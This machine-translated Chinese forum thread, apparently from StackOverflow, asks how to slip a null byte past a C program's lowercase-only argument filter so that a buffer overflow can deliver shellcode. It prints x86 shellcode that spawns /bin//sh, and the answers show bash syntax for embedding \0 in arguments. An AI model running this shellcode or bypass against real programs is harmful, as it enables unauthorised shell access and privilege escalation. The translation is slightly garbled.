我正在尝试测试一个程序,人们不应该把任何字符作为第一个参数,它是这样做的:
for (i=0; argv[1][i]!=0; i++) {
if (argv[1][i] > 'z' || argv[1][i] < 'a') {
printf("Not allowed char in filename\n");
exit(1);
}
}
我想知道是否有可能在开始时伪造一个\ 0来引入字符,只是因为之后程序复制了整个缓冲区(在整个链上使用strncpy)所以它确实复制了后面的\ 0个字符。 我的问题是用bash,我怎么能写第一个论证来伪造这个\ 0然后放一个无法检测到的有效字符。
编辑:所以我的目标是用这样的shellcode做一个简单的缓冲区溢出:
\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80
感谢我在{+ 1}}字符链开头管理的答案,包括\ 0 但是如果我用我的代码替换abc,它会检测到其中的实际字符。不知道发生了什么,但我正在尝试没有程序的printf。
EDIT2:实际上printf会返回shellcode错误,这就是程序检测到字符的原因。我试图解决错误,似乎bash试图解释shellcode本身因为$。
答案 0 :(得分:1)
你可以使用bash的printf命令
e.g。
yourcommand $(printf "\0abc")
答案 1 :(得分:0)
使用$'<letters>\<escape><letters>'
语法(bash支持)。
即
myaut@zenbook:~$ echo aaa $'bb\0bad' ccc
aaa bb ccc